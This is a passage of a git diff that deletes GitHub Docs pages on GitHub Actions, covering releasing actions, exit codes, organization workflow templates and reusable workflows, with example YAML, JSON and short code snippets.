verified the creator of the action as a partner organization. Partners can email <a href="mailto:partnerships@github.com">partnerships@github.com</a> to request the verified creator badge. - -![Screenshot of {% data variables.product.prodname_actions %} with the verified creator badge.](/assets/images/marketplace/verified-creator-badge-for-actions.png) diff --git a/content/actions/sharing-automations/creating-actions/releasing-and-maintaining-actions.md b/content/actions/sharing-automations/creating-actions/releasing-and-maintaining-actions.md deleted file mode 100644 index 58981712c9d5..000000000000 --- a/content/actions/sharing-automations/creating-actions/releasing-and-maintaining-actions.md +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Releasing and maintaining actions -shortTitle: Release and maintain actions -intro: You can leverage automation and open source best practices to release and maintain actions. -type: tutorial -topics: - - Action development - - Actions - - Community -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /actions/creating-actions/releasing-and-maintaining-actions ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -After you create an action, you'll want to continue releasing new features while working with community contributions. This tutorial describes an example process you can follow to release and maintain actions in open source. The example: - -* Leverages {% data variables.product.prodname_actions %} for continuous integration, dependency updates, release management, and task automation. -* Provides confidence through automated tests and build badges. -* Indicates how the action can be used, ideally as part of a broader workflow. -* Signal what type of community contributions you welcome. (For example, issues, pull requests, or vulnerability reports.) - -For an applied example of this process, see [actions/javascript-action](https://github.com/actions/javascript-action). - -## Developing and releasing actions - -In this section, we discuss an example process for developing and releasing actions and show how to use {% data variables.product.prodname_actions %} to automate the process. - -### About JavaScript actions - -JavaScript actions are Node.js repositories with metadata. However, JavaScript actions have additional properties compared to traditional Node.js projects: - -* Dependent packages are committed alongside the code, typically in a compiled and minified form. This means that automated builds and secure community contributions are important. - -{% ifversion fpt or ghec %} - -* Tagged releases can be published directly to {% data variables.product.prodname_marketplace %} and consumed by workflows across {% data variables.product.prodname_dotcom %}. - -{% endif %} - -* Many actions make use of {% data variables.product.prodname_dotcom %}'s APIs and third party APIs, so we encourage robust end-to-end testing. - -### Setting up {% data variables.product.prodname_actions %} workflows - -To support the developer process in the next section, add two {% data variables.product.prodname_actions %} workflows to your repository: - -1. Add a workflow that triggers when a commit is pushed to a feature branch or to `main` or when a pull request is created. Configure the workflow to run your unit and integration tests. For an example, see [this workflow](https://github.com/actions/javascript-action/blob/main/.github/workflows/ci.yml). -1. Add a workflow that triggers when a release is published or edited. Configure the workflow to ensure semantic tags are in place. You can use an action like [JasonEtco/build-and-tag-action](https://github.com/JasonEtco/build-and-tag-action) to compile and bundle the JavaScript and metadata file and force push semantic major, minor, and patch tags. For more information about semantic tags, see [About semantic versioning](https://docs.npmjs.com/about-semantic-versioning). - -### Example developer process - -Here is an example process that you can follow to automatically run tests, create a release{% ifversion fpt or ghec %} and publish to {% data variables.product.prodname_marketplace %}{% endif %}, and publish your action. - -1. Do feature work in branches per GitHub flow. For more information, see [AUTOTITLE](/get-started/using-github/github-flow). - * Whenever a commit is pushed to the feature branch, your testing workflow will automatically run the tests. - -1. Create pull requests to the `main` branch to initiate discussion and review, merging when ready. - - * When a pull request is opened, either from a branch or a fork, your testing workflow will again run the tests, this time with the merge commit. - - * **Note:** for security reasons, workflows triggered by `pull_request` from forks have restricted `GITHUB_TOKEN` permissions and do not have access to secrets. If your tests or other workflows triggered upon pull request require access to secrets, consider using a different event like a [manual trigger](/actions/using-workflows/events-that-trigger-workflows#manual-events) or a [`pull_request_target`](/actions/using-workflows/events-that-trigger-workflows#pull_request_target). For more information, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows#pull-request-events-for-forked-repositories). - -1. Create a semantically tagged release. {% ifversion fpt or ghec %} You may also publish to {% data variables.product.prodname_marketplace %} with a simple checkbox. {% endif %} For more information, see [AUTOTITLE](/repositories/releasing-projects-on-github/managing-releases-in-a-repository#creating-a-release){% ifversion fpt or ghec %} and [AUTOTITLE](/actions/creating-actions/publishing-actions-in-github-marketplace#publishing-an-action){% endif %}. - - * When a release is published or edited, your release workflow will automatically take care of compilation and adjusting tags. - - * We recommend creating releases using semantically versioned tags – for example, `v1.1.3` – and keeping major (`v1`) and minor (`v1.1`) tags current to the latest appropriate commit. For more information, see [AUTOTITLE](/actions/creating-actions/about-custom-actions#using-release-management-for-actions) and [About semantic versioning](https://docs.npmjs.com/about-semantic-versioning). - -### Results - -Unlike some other automated release management strategies, this process intentionally does not commit dependencies to the `main` branch, only to the tagged release commits. By doing so, you encourage users of your action to reference named tags or `sha`s, and you help ensure the security of third party pull requests by doing the build yourself during a release. - -Using semantic releases means that the users of your actions can pin their workflows to a version and know that they might continue to receive the latest stable, non-breaking features, depending on their comfort level. - -## Working with the community - -{% data variables.product.github %} provides tools and guides to help you work with the open source community. Here are a few tools we recommend setting up for healthy bidirectional communication. By providing the following signals to the community, you encourage others to use, modify, and contribute to your action: - -* Maintain a `README` with plenty of usage examples and guidance. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes). -* Include a workflow status badge in your `README` file. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge). Also visit [shields.io](https://shields.io/) to learn about other badges that you can add.{% ifversion fpt or ghec %} -* Add community health files like `CODE_OF_CONDUCT`, `CONTRIBUTING`, and `SECURITY`. For more information, see [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file#supported-file-types).{% endif %} -* Keep issues current by utilizing actions like [actions/stale](https://github.com/actions/stale).{% ifversion fpt or ghec %} -* Use {% data variables.product.github %}'s security features to communicate about vulnerabilities and how to fix them. For more information, see [AUTOTITLE](/actions/security-guides/using-githubs-security-features-to-secure-your-use-of-github-actions#protecting-actions-youve-created).{% endif %} - -## Further reading - -Examples where similar patterns are employed include: - -* [github/super-linter](https://github.com/github/super-linter) -* [octokit/request-action](https://github.com/octokit/request-action) -* [actions/javascript-action](https://github.com/actions/javascript-action) diff --git a/content/actions/sharing-automations/creating-actions/setting-exit-codes-for-actions.md b/content/actions/sharing-automations/creating-actions/setting-exit-codes-for-actions.md deleted file mode 100644 index 39ecae18c0be..000000000000 --- a/content/actions/sharing-automations/creating-actions/setting-exit-codes-for-actions.md +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Setting exit codes for actions -shortTitle: Set exit codes -intro: 'You can use exit codes to set the status of an action. {% data variables.product.prodname_dotcom %} displays statuses to indicate passing or failing actions.' -redirect_from: - - /actions/building-actions/setting-exit-codes-for-actions - - /actions/creating-actions/setting-exit-codes-for-actions -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## About exit codes - -{% data variables.product.prodname_dotcom %} uses the exit code to set the action's check run status, which can be `success` or `failure`. - -Exit status | Check run status | Description -------------|------------------|------------ -`0` | `success` | The action completed successfully and other tasks that depend on it can begin. -Nonzero value (any integer but 0)| `failure` | Any other exit code indicates the action failed. When an action fails, all concurrent actions are canceled and future actions are skipped. The check run and check suite both get a `failure` status. - -## Setting a failure exit code in a JavaScript action - -If you are creating a JavaScript action, you can use the actions toolkit [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) package to log a message and set a failure exit code. For example: - -```javascript -try { - // something -} catch (error) { - core.setFailed(error.message); -} -``` - -For more information, see [AUTOTITLE](/actions/creating-actions/creating-a-javascript-action). - -## Setting a failure exit code in a Docker container action - -If you are creating a Docker container action, you can set a failure exit code in your `entrypoint.sh` script. For example: - -```shell -if <condition> ; then - echo "Game over!" - exit 1 -fi -``` - -For more information, see [AUTOTITLE](/actions/creating-actions/creating-a-docker-container-action). diff --git a/content/actions/sharing-automations/creating-workflow-templates-for-your-organization.md b/content/actions/sharing-automations/creating-workflow-templates-for-your-organization.md deleted file mode 100644 index 76c0a2c56392..000000000000 --- a/content/actions/sharing-automations/creating-workflow-templates-for-your-organization.md +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: Creating workflow templates for your organization -shortTitle: Create workflow templates -intro: Learn how you can create workflow templates to help people in your team add new workflows more easily. -redirect_from: - - /actions/configuring-and-managing-workflows/sharing-workflow-templates-within-your-organization - - /actions/learn-github-actions/creating-workflow-templates - - /actions/learn-github-actions/creating-starter-workflows-for-your-organization - - /actions/using-workflows/creating-starter-workflows-for-your-organization -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - Workflows - - CI ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Overview - -{% data reusables.actions.workflow-organization-templates %} - -{% data reusables.actions.workflow-templates-categories %} - -> [!NOTE] -> Because workflow templates require a public `.github` repository, they are not available for {% data variables.product.prodname_emus %}. - -## Creating a workflow template - -Workflow templates can be created by users with write access to the organization's _public_ `.github` repository. These can then be used by organization members who have permission to create workflows. - -{% ifversion fpt %} -Workflow templates created by users can only be used to create workflows in public repositories. Organizations using {% data variables.product.prodname_ghe_cloud %} can also use workflow templates to create workflows in private repositories. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/using-workflows/creating-starter-workflows-for-your-organization). -{% endif %} - -> [!NOTE] -> To avoid duplication among workflow templates you can call reusable workflows from within a workflow. This can help make your workflows easier to maintain. For more information, see [AUTOTITLE](/actions/using-workflows/reusing-workflows). - -This procedure demonstrates how to create a workflow template and metadata file. The metadata file describes how the workflow templates will be presented to users when they are creating a new workflow. - -1. If it doesn't already exist, create a new _public_ repository named `.github` in your organization. -1. Create a directory named `workflow-templates`. -1. Create your new workflow file inside the `workflow-templates` directory. - - If you need to refer to a repository's default branch, you can use the `$default-branch` placeholder. When a workflow is created the placeholder will be automatically replaced with the name of the repository's default branch. - - {% ifversion ghes %} - - > [!NOTE] - > The following values in the `runs-on` key are also treated as placeholders: - > - > * "ubuntu-latest" is replaced with "[ self-hosted ]" - > * "windows-latest" is replaced with "[ self-hosted, windows ]" - > * "macos-latest" is replaced with "[ self-hosted, macOS ]" - - {% endif %} - - For example, this file named `octo-organization-ci.yml` demonstrates a basic workflow. - - ```yaml copy - name: Octo Organization CI - - on: - push: - branches: [ $default-branch ] - pull_request: - branches: [ $default-branch ] - - jobs: - build: - runs-on: ubuntu-latest - - steps: - - uses: {% data reusables.actions.action-checkout %} - - - name: Run a one-line script - run: echo Hello from Octo Organization - ``` - -1. Create a metadata file inside the `workflow-templates` directory. The metadata file must have the same name as the workflow file, but instead of the `.yml` extension, it must be appended with `.properties.json`. For example, this file named `octo-organization-ci.properties.json` contains the metadata for a workflow file named `octo-organization-ci.yml`: - - ```json copy - { - "name": "Octo Organization Workflow", - "description": "Octo Organization CI workflow template.", - "iconName": "example-icon", - "categories": [ - "Go" - ], - "filePatterns": [ - "package.json$", - "^Dockerfile", - ".*\\.md$" - ] - } - ``` - - * `name` - **Required.** The name of the workflow. This is displayed in the list of available workflows. - * `description` - **Required.** The description of the workflow. This is displayed in the list of available workflows. - * `iconName` - **Optional.** Specifies an icon for the workflow that is displayed in the list of workflows. `iconName` can one of the following types: - * An SVG file that is stored in the `workflow-templates` directory. To reference a file, the value must be the file name without the file extension. For example, an SVG file named `example-icon.svg` is referenced as `example-icon`. - * An icon from {% data variables.product.prodname_dotcom %}'s set of [Octicons](https://primer.style/octicons/). To reference an octicon, the value must be `octicon <icon name>`. For example, `octicon smiley`. - * `categories` - **Optional.** Defines the categories that the workflow is shown under. You can use category names from the following lists: - * General category names from the [starter-workflows](https://github.com/actions/starter-workflows/blob/main/README.md#categories) repository. - * Linguist languages from the list in the [linguist](https://github.com/github-linguist/linguist/blob/main/lib/linguist/languages.yml) repository. - * Supported tech stacks from the list in the [starter-workflows](https://github.com/github-starter-workflows/repo-analysis-partner/blob/main/tech_stacks.yml) repository. - - * `filePatterns` - **Optional.** Allows the workflow to be used if the user's repository has a file in its root directory that matches a defined regular expression. - -To add another workflow template, add your files to the same `workflow-templates` directory. - -## Next steps - -To continue learning about {% data variables.product.prodname_actions %}, see [AUTOTITLE](/actions/learn-github-actions/using-starter-workflows). diff --git a/content/actions/sharing-automations/index.md b/content/actions/sharing-automations/index.md deleted file mode 100644 index 8b8fbbe168a4..000000000000 --- a/content/actions/sharing-automations/index.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Sharing automations -shortTitle: Share automations -intro: 'Create modular automations that you can share and reuse across {% data variables.product.prodname_actions %} workflows.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /actions/creating-actions - - /github/automating-your-workflow-with-github-actions/building-actions - - /actions/automating-your-workflow-with-github-actions/building-actions - - /actions/building-actions - - /articles/creating-a-github-action -children: - - /avoiding-duplication - - /creating-actions - - /reusing-workflows - - /creating-workflow-templates-for-your-organization - - /sharing-actions-and-workflows-from-your-private-repository - - /sharing-actions-and-workflows-with-your-organization - - /sharing-actions-and-workflows-with-your-enterprise ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} diff --git a/content/actions/sharing-automations/reusing-workflows.md b/content/actions/sharing-automations/reusing-workflows.md deleted file mode 100644 index feda135a0290..000000000000 --- a/content/actions/sharing-automations/reusing-workflows.md +++ /dev/null @@ -1,449 +0,0 @@ ---- -title: Reusing workflows -shortTitle: Reuse workflows -intro: Learn how to avoid duplication when creating a workflow by reusing existing workflows. -redirect_from: - - /actions/learn-github-actions/reusing-workflows - - /actions/using-workflows/reusing-workflows -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - Workflows ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Overview - -Rather than copying and pasting from one workflow to another, you can make workflows reusable. You and anyone with access to the reusable workflow can then call the reusable workflow from another workflow. - -Reusing workflows avoids duplication. This makes workflows easier to maintain and allows you to create new workflows more quickly by building on the work of others, just as you do with actions. Workflow reuse also promotes best practice by helping you to use workflows that are well designed, have already been tested, and have been proven to be effective. Your organization can build up a library of reusable workflows that can be centrally maintained. - -The diagram below shows an in-progress workflow run that uses a reusable workflow. - -* After each of three build jobs on the left of the diagram completes successfully, a dependent job called "Deploy" is run. -* The "Deploy" job calls a reusable workflow that contains three jobs: "Staging", "Review", and "Production." -* The "Production" deployment job only runs after the "Staging" job has completed successfully. -* When a job targets an environment, the workflow run displays a progress bar that shows the number of steps in the job. In the diagram below, the "Production" job contains 8 steps, with step 6 currently being processed. -* Using a reusable workflow to run deployment jobs allows you to run those jobs for each build without duplicating code in workflows. - -![Diagram of a workflow calling a reusable workflow.](/assets/images/help/actions/reusable-workflows-ci-cd.png) - -A workflow that uses another workflow is referred to as a "caller" workflow. The reusable workflow is a "called" workflow. One caller workflow can use multiple called workflows. Each called workflow is referenced in a single line. The result is that the caller workflow file may contain just a few lines of YAML, but may perform a large number of tasks when it's run. When you reuse a workflow, the entire called workflow is used, just as if it was part of the caller workflow. - -If you reuse a workflow from a different repository, any actions in the called workflow run as if they were part of the caller workflow. For example, if the called workflow uses `actions/checkout`, the action checks out the contents of the repository that hosts the caller workflow, not the called workflow. - -When a reusable workflow is triggered by a caller workflow, the `github` context is always associated with the caller workflow. The called workflow is automatically granted access to `github.token` and `secrets.GITHUB_TOKEN`. For more information about the `github` context, see [AUTOTITLE](/actions/learn-github-actions/contexts#github-context). - -You can view the reused workflows referenced in your {% data variables.product.prodname_actions %} workflows as dependencies in the dependency graph of the repository containing your workflows. For more information, see “[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph).” - -### Reusable workflows and composite actions - -Reusable workflows and composite actions both help you to avoid duplication. Whereas reusable workflows allow you to reuse an entire workflow, with multiple jobs and steps, composite actions combine multiple steps that you can then run within a job step, just like any other action. For more information, see [AUTOTITLE](/actions/using-workflows/avoiding-duplication). - -### Reusable workflows and workflow templates - -Workflow templates allow everyone in your organization who has permission to create workflows to do so more quickly and easily. When people create a new workflow, they can choose a workflow template and some or all of the work of writing the workflow will be done for them. Within a workflow template, you can also reference reusable workflows to make it easy for people to benefit from reusing centrally managed workflow code. If you use a commit SHA when referencing the reusable workflow, you can ensure that everyone who reuses that workflow will always be using the same YAML code. However, if you reference a reusable workflow by a tag or branch, be sure that you can trust that version of the workflow. For more information, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#reusing-third-party-workflows). - -For more information, see [AUTOTITLE](/actions/using-workflows/creating-starter-workflows-for-your-organization). - -## Access to reusable workflows - -A reusable workflow can be used by another workflow if any of the following is true: - -* Both workflows are in the same repository. -* The called workflow is stored in a public repository{% ifversion ghes %} on {% data variables.product.prodname_ghe_server %}. - - You cannot directly use reusable workflows defined on {% data variables.product.prodname_dotcom_the_website %}. Instead store a copy of the reusable workflow on {% data variables.location.product_location %}, and call the workflow from that path. - - {% elsif actions-workflow-policy %}, and your {% ifversion ghec %}enterprise{% else %}organization{% endif %} allows you to use public reusable workflows.{% endif %}{% ifversion ghes or ghec %} -* The called workflow is stored in an internal repository and the settings for that repository allow it to be accessed. For more information, see [AUTOTITLE](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise).{% endif %} -* The called workflow is stored in a private repository and the settings for that repository allow it to be accessed. For more information, see {% ifversion ghes or ghec %}[AUTOTITLE](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise).{% else %}[AUTOTITLE](/actions/creating-actions/sharing-actions-and-workflows-with-your-organization) and [AUTOTITLE](/actions/creating-actions/sharing-actions-and-workflows-from-your-private-repository).{% endif %} - -The following table shows the accessibility of reusable workflows to a caller workflow, depending on the visibility of the host repository. - -| Caller repository | Accessible workflows repositories | -|----|----| -| `private` | `private`{% ifversion ghes or ghec %}, `internal`,{% endif %} and `public` | -| {% ifversion ghes or ghec %} | -| `internal` | `internal`, and `public` | -| {% endif %} | -| `public` | `public` | - -The **Actions permissions** on the callers repository's Actions settings page must be configured to allow the use of actions and reusable workflows - see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#allowing-select-actions-and-reusable-workflows-to-run). - -For {% ifversion ghes or ghec %}internal or {% endif %}private repositories, the **Access** policy on the Actions settings page of the called workflow's repository must be explicitly configured to allow access from repositories containing caller workflows - see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#allowing-access-to-components-in-a-private-repository). - -{% data reusables.actions.actions-redirects-workflows %} - -## Using runners - -### Using GitHub-hosted runners - -The assignment of {% data variables.product.prodname_dotcom %}-hosted runners is always evaluated using only the caller's context. Billing for {% data variables.product.prodname_dotcom %}-hosted runners is always associated with the caller. The caller workflow cannot use {% data variables.product.prodname_dotcom %}-hosted runners from the called repository. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners). - -### Using self-hosted runners - -Called workflows that are owned by the same user or organization{% ifversion ghes or ghec %} or enterprise{% endif %} as the caller workflow can access self-hosted runners from the caller's context. This means that a called workflow can access self-hosted runners that are: -* In the caller repository -* In the caller repository's organization{% ifversion ghes or ghec %} or enterprise{% endif %}, provided that the runner has been made available to the caller repository - -## Limitations - -* You can connect up to four levels of workflows. For more information, see [Nesting reusable workflows](#nesting-reusable-workflows). -* You can call a maximum of 20 unique reusable workflows from a single workflow file. This limit includes any trees of nested reusable workflows that may be called starting from your top-level caller workflow file. - - For example, _top-level-caller-workflow.yml_ → _called-workflow-1.yml_ → _called-workflow-2.yml_ counts as 2 reusable workflows. - -* Any environment variables set in an `env` context defined at the workflow level in the caller workflow are not propagated to the called workflow. For more information, see [AUTOTITLE](/actions/learn-github-actions/variables) and [AUTOTITLE](/actions/learn-github-actions/contexts#env-context). -* Similarly, environment variables set in the `env` context, defined in the called workflow, are not accessible in the `env` context of the caller workflow. Instead, you must use outputs of the reusable workflow. For more information, see [Using outputs from a reusable workflow](#using-outputs-from-a-reusable-workflow). -* To reuse variables in multiple workflows, set them at the organization, repository, or environment levels and reference them using the `vars` context. For more information see [AUTOTITLE](/actions/learn-github-actions/variables) and [AUTOTITLE](/actions/learn-github-actions/contexts#vars-context). -* Reusable workflows are called directly within a job, and not from within a job step. You cannot, therefore, use `GITHUB_ENV` to pass values to job steps in the caller workflow. - -## Creating a reusable workflow - -Reusable workflows are YAML-formatted files, very similar to any other workflow file. As with other workflow files, you locate reusable workflows in the `.github/workflows` directory of a repository. Subdirectories of the `workflows` directory are not supported. - -For a workflow to be reusable, the values for `on` must include `workflow_call`: - -```yaml -on: - workflow_call: -``` - -### Using inputs and secrets in a reusable workflow - -You can define inputs and secrets, which can be passed from the caller workflow and then used within the called workflow. There are three stages to using an input or a secret in a reusable workflow. - -1. In the reusable workflow, use the `inputs` and `secrets` keywords to define inputs or secrets that will be passed from a caller workflow. - {% raw %} - - ```yaml - on: - workflow_call: - inputs: - config-path: - required: true - type: string - secrets: - personal_access_token: - required: true - ``` - - {% endraw %} - For details of the syntax for defining inputs and secrets, see [`on.workflow_call.inputs`](/actions/using-workflows/workflow-syntax-for-github-actions#onworkflow_callinputs) and [`on.workflow_call.secrets`](/actions/using-workflows/workflow-syntax-for-github-actions#onworkflow_callsecrets). -1. In the reusable workflow, reference the input or secret that you defined in the `on` key in the previous step. - - > [!NOTE] - > If the secrets are inherited by using `secrets: inherit` in the calling workflow, you can reference them even if they are not explicitly defined in the `on` key. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idsecretsinherit). - - {% raw %} - - ```yaml - jobs: - reusable_workflow_job: - runs-on: ubuntu-latest - steps: - - uses: actions/labeler@v4 - with: - repo-token: ${{ secrets.personal_access_token }} - configuration-path: ${{ inputs.config-path }} - ``` - - {% endraw %} - - In the example above, `personal_access_token` is a secret that's defined at the repository or organization level. - - > [!WARNING] - > Environment secrets cannot be passed from the caller workflow as `on.workflow_call` does not support the `environment` keyword. If you include `environment` in the reusable workflow at the job level, the environment secret will be used, and not the secret passed from the caller workflow. For more information, see [AUTOTITLE](/actions/deployment/targeting-different-environments/managing-environments-for-deployment#environment-secrets) and [AUTOTITLE](/actions/writing-workflows/workflow-syntax-for-github-actions#onworkflow_call). - -1. Pass the input or secret from the caller workflow. - - {% data reusables.actions.pass-inputs-to-reusable-workflows %} - -### Example reusable workflow - -This reusable workflow file named `workflow-B.yml` (we'll refer to this later in the [example caller workflow](#example-caller-workflow)) takes an input string and a secret from the caller workflow and uses them in an action. - -{% raw %} - -```yaml copy -name: Reusable workflow example - -on: - workflow_call: - inputs: - config-path: - required: true - type: string - secrets: - token: - required: true - -jobs: - triage: - runs-on: ubuntu-latest - steps: - - uses: actions/labeler@v4 - with: - repo-token: ${{ secrets.token }} - configuration-path: ${{ inputs.config-path }} -``` - -{% endraw %} - -## Calling a reusable workflow - -You call a reusable workflow by using the `uses` keyword. Unlike when you are using actions within a workflow, you call reusable workflows directly within a job, and not from within job steps. - -[`jobs.<job_id>.uses`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_iduses) - -You reference reusable workflow files using one of the following syntaxes: - -{% data reusables.actions.reusable-workflow-calling-syntax %} - -You can call multiple workflows, referencing each in a separate job. - -{% data reusables.actions.uses-keyword-example %} - -### Passing inputs and secrets to a reusable workflow - -{% data reusables.actions.pass-inputs-to-reusable-workflows %} - -### Using a matrix strategy with a reusable workflow - -Jobs using the matrix strategy can call a reusable workflow. - -A matrix strategy lets you use variables in a single job definition to automatically create multiple job runs that are based on the combinations of the variables. For example, you can use a matrix strategy to pass different inputs to a reusable workflow. For more information about matrices, see [AUTOTITLE](/actions/using-jobs/using-a-matrix-for-your-jobs). - -This example job below calls a reusable workflow and references the matrix context by defining the variable `target` with the values `[dev, stage, prod]`. It will run three jobs, one for each value in the variable. - -{% raw %} - -```yaml copy -jobs: - ReuseableMatrixJobForDeployment: - strategy: - matrix: - target: [dev, stage, prod] - uses: octocat/octo-repo/.github/workflows/deployment.yml@main - with: - target: ${{ matrix.target }} -``` - -{% endraw %} - -### Supported keywords for jobs that call a reusable workflow - -When you call a reusable workflow, you can only use the following keywords in the job containing the call: - -* [`jobs.<job_id>.name`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idname) -* [`jobs.<job_id>.uses`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_iduses) -* [`jobs.<job_id>.with`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idwith) -* [`jobs.<job_id>.with.<input_id>`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idwithinput_id) -* [`jobs.<job_id>.secrets`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idsecrets) -* [`jobs.<job_id>.secrets.<secret_id>`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idsecretssecret_id) -* [`jobs.<job_id>.secrets.inherit`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idsecretsinherit) -* [`jobs.<job_id>.strategy`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstrategy) -* [`jobs.<job_id>.needs`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idneeds) -* [`jobs.<job_id>.if`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idif) -* [`jobs.<job_id>.concurrency`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idconcurrency) -* [`jobs.<job_id>.permissions`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idpermissions) - - > [!NOTE] - > - > * If `jobs.<job_id>.permissions` is not specified in the calling job, the called workflow will have the default permissions for the `GITHUB_TOKEN`. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token). - > * The `GITHUB_TOKEN` permissions passed from the caller workflow can be only downgraded (not elevated) by the called workflow. - > * If you use `jobs.<job_id>.concurrency.cancel-in-progress: true`, don't use the same value for `jobs.<job_id>.concurrency.group` in the called and caller workflows as this will cause the workflow that's already running to be cancelled. A called workflow uses the name of its caller workflow in {% raw %}${{ github.workflow }}{% endraw %}, so using this context as the value of `jobs.<job_id>.concurrency.group` in both caller and called workflows will cause the caller workflow to be cancelled when the called workflow runs. - -### Example caller workflow - -This workflow file calls two workflow files. The second of these, `workflow-B.yml` (shown in the [example reusable workflow](#example-reusable-workflow)), is passed an input (`config-path`) and a secret (`token`). - -{% raw %} - -```yaml copy -name: Call a reusable workflow - -on: - pull_request: - branches: - - main - -jobs: - call-workflow: - uses: octo-org/example-repo/.github/workflows/workflow-A.yml@v1 - - call-workflow-passing-data: - permissions: - contents: read - pull-requests: write - uses: octo-org/example-repo/.github/workflows/workflow-B.yml@main - with: - config-path: .github/labeler.yml - secrets: - token: ${{ secrets.GITHUB_TOKEN }} -``` - -{% endraw %} - -## Nesting reusable workflows - -You can connect a maximum of four levels of workflows - that is, the top-level caller workflow and up to three levels of reusable workflows. For example: _caller-workflow.yml_ → _called-workflow-1.yml_ → _called-workflow-2.yml_ → _called-workflow-3.yml_. Loops in the workflow tree are not permitted. - -From within a reusable workflow you can call another reusable workflow. - -{% raw %} - -```yaml copy -name: Reusable workflow - -on: - workflow_call: - -jobs: - call-another-reusable: - uses: octo-org/example-repo/.github/workflows/another-reusable.yml@v1 -``` - -{% endraw %} - -### Passing secrets to nested workflows - -You can use `jobs.<job_id>.secrets` in a calling workflow to pass named secrets to a directly called workflow. Alternatively, you can use `jobs.<job_id>.secrets.inherit` to pass all of the calling workflow's secrets to a directly called workflow. For more information, see the section [AUTOTITLE](/actions/using-workflows/reusing-workflows#passing-inputs-and-secrets-to-a-reusable-workflow) above, and the reference article [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idsecretsinherit). Secrets are only passed to directly called workflow, so in the workflow chain A > B > C, workflow C will only receive secrets from A if they have been passed from A to B, and then from B to C. - -In the following example, workflow A passes all of its secrets to workflow B, by using the `inherit` keyword, but workflow B only passes one secret to workflow C. Any of the other secrets passed to workflow B are not available to workflow C. - -{% raw %} - -```yaml -jobs: - workflowA-calls-workflowB: - uses: octo-org/example-repo/.github/workflows/B.yml@main - secrets: inherit # pass all secrets -``` - -```yaml -jobs: - workflowB-calls-workflowC: - uses: different-org/example-repo/.github/workflows/C.yml@main - secrets: - repo-token: ${{ secrets.personal_access_token }} # pass just this secret -``` - -{% endraw %} - -### Access and permissions - -A workflow that contains nested reusable workflows will fail if any of the nested workflows is inaccessible to the initial caller workflow. For more information, see [AUTOTITLE](/actions/using-workflows/reusing-workflows#access-to-reusable-workflows). - -`GITHUB_TOKEN` permissions can only be the same or more restrictive in nested workflows. For example, in the workflow chain A > B > C, if workflow A has `package: read` token permission, then B and C cannot have `package: write` permission. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication). - -For information on how to use the API to determine which workflow files were involved in a particular workflow run, see [Monitoring which workflows are being used](#monitoring-which-workflows-are-being-used). - -## Using outputs from a reusable workflow - -A reusable workflow may generate data that you want to use in the caller workflow. To use these outputs, you must specify them as the outputs of the reusable workflow. - -If a reusable workflow that sets an output is executed with a matrix strategy, the output will be the output set by the last successful completing reusable workflow of the matrix which actually sets a value. -That means if the last successful completing reusable workflow sets an empty string for its output, and the second last successful completing reusable workflow sets an actual value for its output, the output will contain the value of the second last completing reusable workflow. - -The following reusable workflow has a single job containing two steps. In each of these steps we set a single word as the output: "hello" and "world." In the `outputs` section of the job, we map these step outputs to job outputs called: `output1` and `output2`. In the `on.workflow_call.outputs` section we then define two outputs for the workflow itself, one called `firstword` which we map to `output1`, and one called `secondword` which we map to `output2`. - -The `value` must be set to the value of a job-level output within the called workflow. Step-level outputs must first be mapped to job-level outputs as shown below. - -For more information, see [AUTOTITLE](/actions/using-jobs/defining-outputs-for-jobs#overview) and [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#onworkflow_calloutputs). - -{% raw %} - -```yaml copy -name: Reusable workflow - -on: - workflow_call: - # Map the workflow outputs to job outputs - outputs: - firstword: - description: "The first output string" - value: 